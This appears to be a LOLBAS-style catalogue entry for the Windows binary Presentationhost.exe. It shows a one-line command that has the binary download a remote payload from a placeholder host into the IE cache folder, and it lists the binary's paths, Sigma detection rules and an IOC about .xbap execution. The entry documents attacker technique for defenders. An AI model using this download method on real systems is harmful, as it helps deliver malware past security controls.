File is used for executing Browser applications
Presentationhost.exe https://example.com/payload
It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
Downloads payload from remote server
C:\Windows\System32\Presentationhost.exe, C:\Windows\SysWOW64\Presentationhost.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml, Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml, IOC: Execution of .xbap files may not be common on production workstations
Casey Smith (@subtee), Nir Chako (Pentera) (@C_h4ck_0)